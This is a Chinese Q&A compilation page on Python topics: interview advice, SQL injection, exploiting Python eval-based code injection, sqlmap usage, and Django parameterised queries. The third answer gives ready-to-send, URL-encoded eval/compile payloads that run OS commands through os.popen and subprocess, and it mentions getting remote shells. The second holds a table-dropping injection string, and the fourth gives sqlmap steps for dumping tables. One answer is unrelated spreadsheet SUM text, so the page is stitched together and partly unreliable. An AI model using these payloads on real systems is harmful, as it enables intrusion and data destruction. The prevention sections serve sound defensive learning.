❶ python面試注意什麼
一、自我介紹
之前講過很多關於如何應對面試官提出的「自我介紹」這個問題，今天，針對Python程序員這個崗位，給大家重新梳理一下答題的結構。我們在做自我介紹時，可以按照：個人基本信息+基本技術構成+項目經驗(具體項目以及在項目中的負責部分)+自我評價的結構來回答。注意一定要緊緊圍繞招聘崗位的需求做介紹，在此之前要做好准備工作，看看招聘方具體需要什麼方向的研發工程師。目前針對Python，有自動化測試平台的設計與開發、數據的挖掘與清洗以及Python開發等具體崗位，所以面試Python方向的同學注意，可以多和運維以及自動化方面靠攏。當然，具體還是要看公司空缺崗位與你的專業是否對口。
二、不要給自己挖坑
確保你在回答面試官的過程中，回答的每個知識點都瞭然於胸，不然被問住，是很難堪的。如果遇到不會的問題，一定不要盲目亂答一通。比如有一次，有位同學在回答Web安全問題時，順嘴說了sql注入，面試官便順水推舟，讓這位同學接著講講SQL的原理及解決方法。然而這位同學卻把XSS跨站注入攻擊和SQL注入搞混了，歸根結底，還是知識掌握得不夠牢固。所以，在面試時，要斟酌每一句話，聰明的同學還可以引導面試官，讓他問出自己想要被問的問題。當然，化被動為主動，就是面試中比較高的一種境界了。
三、有足夠的自信
如果你學歷不是特別高，在面試時，面試官很有可能會問你是怎樣看待學歷和能力的。學歷和能力在當今的社會都不可或缺，學歷往往是你面試的敲門磚，但敲完門用途就不大了，後面才是證明你能力的時刻。針對這個問題，我們一定要不卑不亢地說出自己看法：「我想只要完成了大學校園內的學業，就表明已經具備了一定的學習能力。如果我們努力學習代碼技能，並且有能力學好，那麼是學士還是博士就不是很重要。競爭這個崗位的關鍵是看你能在這個領域上發揮什麼作用，而不單單是學了多少書本上的知識。」
❷ Python的sql注入
注入式攻擊貌似舉例比網站用戶名密碼驗證採用字元串拼接式例
"select UName from Users where Uname='"+name+"'"我輸入用戶名候輸入 hello' and 1=1 drop table Users -- 網站廢利用單引號另注釋符
❸ 如何使用python查找網站漏洞
如果你的Web應用中存在Python代碼注入漏洞的話，攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著，如果你可以在目標伺服器中執行Python代碼的話，你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令，你不僅可以對那些可以訪問到的文件進行讀寫操作，甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞，我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息，但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下，我們成功地通過Burp POC實現了一個非互動式的shell，這也是我們這篇文章所要描述的內容。
因為除了Python之外，還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題，因此Python代碼注入屬於伺服器端代碼注入的一種。實際上，如果各位同學和我一樣是一名CWE的關注者，那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容：
1. CWE-94：代碼生成控制不當(『代碼注入』)2. CWE-95：動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞，而此時的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上，你甚至都不需要使用for循環，直接使用全局函數「__import__」就可以了。具體代碼如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔，既然我們已經將import和popen寫在了一個表達式裡面了，那麼在大多數情況下，你甚至都不需要使用compile了。具體代碼如下所示：
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用，你需要對其中的某些字元進行URL編碼。為了節省大家的時間，我們在這里已經將上面所列出的Payload代碼編碼完成了，具體如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來，我們將會給大家介紹關於這個漏洞的細節內容，並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾，我將會給大家演示一款工具，這款工具是我和我的同事Charlie共同編寫的，它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之，這款工具就像sqlmap一樣，可以讓你快速找到SQL注入漏洞，不過這款工具仍在起步階段，感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示，我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話，你可以點擊這里獲取這份Web應用。接下來，我們要配置的就是Web應用的運行環境，即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行，或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時，幾乎沒有文章會提醒你這個函數是非常不安全的，而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況，說明你的Web應用中存在這個漏洞：
1. Web應用接受用戶輸入(例如GET/POST參數，cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查，或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼：
\
大家可以看到，eval()函數是上述代碼中唯一一個存在問題的地方。除此之外，如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話，那麼Web應用中也將會出現這個漏洞。
不過需要注意的是，除了eval()函數之外，Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示，現在很多開發人員都會在Web應用中不規范地使用exec()函數，所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊，我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後，我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是，不要過度依賴掃描工具，因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外，如果你在某個Web應用中發現了這個漏洞，那麼你肯定使用了某款自動化的掃描工具，比如說Burp Suite Pro。目前為止，如果不使用類似Burp Suite Pro這樣的專業掃描工具，你幾乎是無法發現這個漏洞的。
當你搭建好測試環境之後，啟動並運行包含漏洞的示例應用。接下來，使用Burp Suite Pro來對其進行掃描。掃描結果如下圖所示：
\
下圖顯示的是Burp在掃描這個漏洞時所使用的Payload：
\
我們可以看到，Burp之所以要將這個Web應用標記為「Vulnerable」(包含漏洞的)，是因為當它將這個Payload發送給目標Web應用之後，伺服器的Python解析器休眠了20秒，響應信息在20秒之後才成功返回。但我要提醒大家的是，這種基於時間的漏洞檢查機制通常會存在一定的誤報。
將PoC升級成漏洞利用代碼
使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來，為了執行操作系統指令並接收相應的輸出數據，我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數。當然了，應該還有很多其他的函數同樣可以實現我們的目標。
因為eval()函數只能對表達式進行處理，因此Burp Suite Pro的Payload在這里使用了compile()函數，這是一種非常聰明的做法。當然了，我們也可以使用其他的方法來實現，例如使用全局函數「__import__」。關於這部分內容請查閱參考資料：[參考資料1][參考資料2]
下面這個Payload應該可以適用於絕大多數的場景：
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# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執行一個或多個語句，那麼你就需要使用eval()或者compile()函數了。實現代碼如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中，有時全局函數「__import__」會不起作用。在這種情況下，我們就要使用for循環了。相關代碼如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數是一個GET參數，那麼你就可以直接在瀏覽器中利用這個漏洞了：
\
請注意：雖然瀏覽器會幫你完成絕大部分的URL編碼工作，但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外，你也可以直接使用我們所開發的工具。
如果是POST參數的話，我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示，我在subprocess.check_output()函數中一次性調用了多個系統命令，即pwd、ls、-al、whoami和ping。
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漏洞利用工具-PyCodeInjectionShell
你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼，我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到，它跟sqlmap一樣使用起來非常的簡單。除此之外，它的使用方法跟sqlmap基本相同。
❹ 如何使用sqlmap進行sql注入
輸入命令sqlmap -u + 「風險網址」 檢測是否存在sql注入漏洞。
看到返回了 伺服器的類型，web環境，資料庫類型。確定存在漏洞我們開始下一步的注入。根據返回的資料庫類型我們確定資料庫為access資料庫。使用--tables 猜解表。
猜解完表格後我們進一步猜解表的內容。
命令 ： python sqlmap.py -u URL -T admin --columns
注意 暴力破解的線程數 最大為10 ，其他的參數可以直接回車。
猜解完表的內容我們可以直接猜解表列的內容。
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等待一段時間後，程序工作完畢，查看結果。
❺ SQL自動注入工具好不好
Sql注入測試一定要使用工具。原因一：工作效率；原因二：人工很難構造出覆蓋面廣的盲注入的sql語句。例如當一個查詢的where字句包含了多個參數，or and的關系比較多時，簡單的or 1=1, and 1=2是很難發現注入點的。
Sql注入的工具很多(Top 15 free SQL Injection Scanners)，我最近使用的有Sqlmap，SqliX，JbroFuzz，Sql Power Injector, 網站啄木鳥.現將他們的使用方法和比較結果貼於此：
Sqlmap是python開發的SQL注入漏洞測試工具。沒有UI界面的命令行工具。雖說是命令行工具，可他的使用比網站啄木鳥，Sql Power injector 容易多了，並且有很詳細的幫助文檔。從下面2個地址獲得相關程序包：
❻ python怎麼防止sql注入
最簡單最容易的是限制用戶輸入。簡單點的就是不允許用戶輸入單引號 和 --，因為單引號號--在SQL中都是影響執行的，兩種方式一種是在JSP中加判斷。
另一種是在SQL拼接是對單引號和--等進行轉義，例如：str = str.replace("'", "''");
等等，還有其他很多方法。
❼ 用python如何去匹配sql注入出來的數據
除了
SUM還可以用
avg,
max,
min
SUM(3,
2)
等於5。
SUM("3",
2,
TRUE)
等於6，因為文本值被轉換成數字，而邏輯值
"TRUE"
被轉換成數字1。
不同於前例，如果
A1
包含
"3"，而
B1
包含TRUE，則：SUM(A1,
B1,
2)
等於
2，因為對非數值型的值的引用不能被轉換成數值。
如果單元格
A2：E2
包含
5，15，30，40
和
50，則：SUM(A2:C2)
等於50；SUM(B2:E2,
15)
等於
150。
運用SUM算余額
只要在D3輸入好公式，下面的可以從D3單元格下拉復制格式：
同理適用於其他數據運算
❽ 【Python基礎】django如何防止sql注入
python+Django 防止SQL注入
先看看那種容易被注入的SQL
id = 11001
sql = """
SELECT
id,
name,
age
FROM
student
WHERE
id = """+id+"""
"""
cursor = connection.cursor()
try:
cursor.execute(sql)
result = cursor.fetchall()
for result1 in result:
// 代碼塊
pass
finally:
cursor.close()
1
2
3
4
5
6
7
8
9
10
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13
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19
20
一般來說寫SQL語句在程序中，若有where條件一般都可能會去直接拼接，到那時這種方式容易被SQL注入，首先說明下什麼是SQL的注入，簡單來說就是你寫的SQL被別人在頁面上拼接了SQL。比如拼接1=1這種條件，如果登錄介面被注入1=1那麼就可以隨意進入你的程序了。所以才要防止SQL的注入。
下面再來看看防止SQL的注入
id = 11001
params = []
sql = """
SELECT
id,
name,
age
FROM
student
WHERE
id = %s
"""
params.append(id)
cursor = connection.cursor()
try:
cursor.execute(sql, params)
result = cursor.fetchall()
for result1 in result:
// 代碼塊
pass
finally:
cursor.close()
我們把直接拼接的條件變數放入集合再把集合帶入執行SQL的方法，就可以避免被注入的風險，在SQL的條件中使用%s進行站位，要注意的是這個%s是有順序的，比如說上面這個SQL後面在跟一個條件name=%s那麼下面的params集合也要多加一個元素params.append(name)這個時候name是在id後面的在集合中。這樣可以一一對應，但如果要是把params.append(name)寫在了params.append(id)前面SQL執行就會出現id=name and name = id 的條件就亂了，甚至還會報錯。
使用connection完畢之後一定要記得close，connection是django.db中的，導入不要導入錯了。
❾ python sql注入語法是什麼意思
https://wenku..com/view/.html?from=search